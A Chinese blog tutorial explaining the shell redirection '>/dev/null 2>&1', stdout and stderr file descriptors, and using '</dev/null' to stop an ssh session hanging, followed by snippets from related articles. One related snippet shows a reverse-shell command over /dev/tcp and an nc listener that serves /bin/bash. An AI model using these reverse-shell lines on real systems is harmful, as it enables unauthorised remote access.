shell中可能经常能看到:>/dev/null 2>&1
命令的结果可以通过%>的形式来定义输出
分解这个组合:“>/dev/null 2>&1” 为五部分。
1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 :接着,标准错误输出重定向 到 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
最常用的方式有:
command > file 2>file 与command > file 2>&1
它们有什么不同的地方吗?
首先command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。
而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。
从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会command > file 2>&1 这样的写法。
作者: Sjolzy | Google+
地址: http://sjolzy.cn/shell-in-the-dev-null-2-gt-amp-1-Detailed.html
加上</dev/null,是什么意思?
google结果:
the "< /dev/null" unattaches the console keyboard and uses "< /dev/null" instead. This will allow the program to run in the background without being blocked.
仅仅是后台?
我这边有本地机器A,需要ssh 机器B"a.sh start"
a.sh中有这么一个
二进制cmd
执行后
然后exit 0
问题在于我远程ssh执行"a.sh start"
执行完之后一直hang在那里,并没有正常完成关闭连接并回到本地机器A的终端,而调试显示cmd以及exit 0是执行成功的。
在a.sh中
无论是
cmd > /dev/null 2>&1
还是
cmd &
都是hang在那里。
而
cmd > /dev/null </dev/null 2>&1
则是可以的
这区别就在于程序编写中判别标准输入啊,当没看到标准输入文件结束程序就不退出.
一旦标准输入是/dev/null,马上就看到标准输入结束了
- 大小: 10.3 KB
- 大小: 13.4 KB
分享到:
相关推荐
shell中可能经常能看到:>/dev/null 2>&1,这里简单介绍下,方便需要的朋友
bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的...
相信大家经常能在shell脚本中发现>/dev/null 2>&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2>&1 >/dev/null,出了一点小问题之后,我才开始去了解这段...
主要介绍了shell中>/dev/null 2>&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。
shell中可能经常能看到:>/dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 /dev/null 代表空设备文件 > 代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>...
本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 >/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 >/dev/null && echo **********selinux已关闭**
检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 &
linux shell 中”2>&1″的含义 脚本: nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...
Termux-ADB 在Termux中安装ADB和FastBoot工具!...如何安装静默安装: 在Termux中复制并粘贴以下命令以静默安装工具: apt update > /dev/null 2>&1 && apt --assume-yes install wget > /dev/null 2>&1 && wget ...
电话号码信息收集和OSINT侦察工具 如何安装 静默安装: 在Termux中复制并粘贴以下命令以...32m[*] Download starting...' && apt update > /dev/null 2>&1 && apt --assume-yes install wget > /dev/null 2>&1 && wget ...
echo -e ' if command -v pyenv 1>/dev/null 2>&1; then\n eval "$(pyenv init -)"\nfi ' >> ~ /.bash_profile echo -e ' if command -v pyenv 1>/dev/null 2>&1; then\n eval "$(pyenv init -)"\nfi ' >> ~ /.zshrc...
yum.sh shell脚本内容: ... mount /dev/cdrom /mnt &> /dev/null cd /mnt/Packages/ if [ $? -eq 0 ] then echo 已将系统安装光盘挂载至/mnt目录下 cp -rf /etc/yum.repos.d/* /home/ rm -rf /etc/yum.repos
mysqlCPU高语句实时监控 ...nohup ./top-mysql-repeat.sh >/dev/null 2>&1 & 如果实时监控,./top-mysql-repeat.sh Ctrl+c退出。 执行后输出txt类别文件。为了看起来更工整,输出xls格式文件。 结果如图所示:
/bin/bashDIR= " $( cd " $( dirname " ${BASH_SOURCE[0]} " ) " > /dev/null 2>&1 && pwd ) "# shellcheck source=./Compage/Bootstrap.shif ! source " $DIR /Compage/Bootstrap.sh " ; then >&2 echo " ERROR: ...
#!/bin/bash i=$(cat /dev/urandom | head -n 10 | md5sum | head -c 10) echo $i >> /data/1.log 2>&1 expect test.expect $i >> /data/1.log 2>&1 sleep 3 python /opt/file/se.py $i
脚本内容:java_check.sh #! /bin/bash # if [ -z `pidof java` ]; then ... /usr/local/tomcat/bin/startup.sh >/dev/null 2>&1 sleep 30 netstat -tnlp >> /data/logs/java_check.log echo -e “r
Linux 命令 shell 重定向 > ...cat /dev/null > filename > filename 2、清空文件内容,将显示结果重定向到文件 echo “this is a test” > filename 3、输入输出流组合 0:标准输入 1:标准输出 2:错误标准输出
/bin/bash#This script is use for describle CPU Hard Memery Utilizationtotal=0idle=0system=0user=0nice=0mem=0vmexec=/usr/bin/vmstatwhich sar > /dev/null 2>&1if [ $? -ne 0 ]then ver=`vmstat -V | awk ...
ulimit -c unlimited > /dev/null 2>&1 2.更改core文件生成路径 vi /etc/sysctl.conf kernel.core_uses_pid = 1 kernel.core_pattern=/tmp/core-%e-%p 3.sysctl配置生效 sysctl -p /etc/sysctl.conf 这样就...